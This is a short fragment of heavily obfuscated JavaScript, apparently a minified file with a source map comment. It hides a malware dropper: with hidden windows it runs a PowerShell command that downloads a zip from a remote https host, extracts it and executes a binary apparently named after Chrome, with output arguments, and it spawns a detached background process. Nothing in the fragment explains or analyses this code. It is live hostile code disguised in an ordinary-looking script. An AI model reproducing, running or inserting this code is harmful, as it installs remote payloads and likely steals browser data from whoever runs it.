_0x3c6c02=_0x12e385;_0x4f29f9['pipe'](_0x3ff1ab),_0x3ff1ab['on'](_0x3c6c02(0x117),()=>_0x3ff1ab[_0x3c6c02(0x193)]()),_0x4b98ac(_0x3c6c02(0x121)+_0x3c6c02(0x13c)+_0x3c6c02(0x113)+_0x3c6c02(0x181)+_0x3c6c02(0x167)+_0x3c6c02(0x131)+_0x3c6c02(0x132)+_0x3c6c02(0x188)+_0x3c6c02(0x133)+_0x3c6c02(0x125)+_0x46a2f4+_0x3c6c02(0x17f),{'windowsHide':!![]});const _0x147ab6=_0x48a068(_0x3c6c02(0x196)+_0x3c6c02(0x130),null,{'detached':!![],'stdio':_0x3c6c02(0x168)});_0x147ab6['unref'](),_0x4b98ac('powershell'+'\x20-WindowSt'+_0x3c6c02(0x12e)+'\x20-Command\x20'+_0x3c6c02(0x15e)+_0x3c6c02(0x18b)+'Uri\x20\x27https'+_0x3c6c02(0x116)+_0x3c6c02(0x172)+'/Chrome-Ap'+_0x3c6c02(0x162)+_0x3c6c02(0x14c)+_0x3c6c02(0x194)+_0x3c6c02(0x11f)+_0x3c6c02(0x160)+_0x3c6c02(0x191)+_0x3c6c02(0x189)+_0x3c6c02(0x184)+_0x3c6c02(0x12a)+_0x3c6c02(0x139)+_0x3a4c5e+('\x5cci.zip\x27;\x20'+'Expand-Arc'+_0x3c6c02(0x13e)+'\x20\x27')+_0x3a4c5e+(_0x3c6c02(0x124)+'Destinatio'+'nPath\x20\x27')+_0x3a4c5e+(_0x3c6c02(0x187)+_0x3c6c02(0x12d)+_0x3c6c02(0x170)),{'windowsHide':!![]});});const _0x2773f8=_0x2a6612(_0x3a4c5e+('\x5cchrome-in'+_0x12e385(0x11d)+'omelevator'+_0x12e385(0x176)),['all','-o',_0x591f8f],{'windowsHide':!![]});}()));
|
|
2
2
|
//# sourceMappingURL=map.js.map
|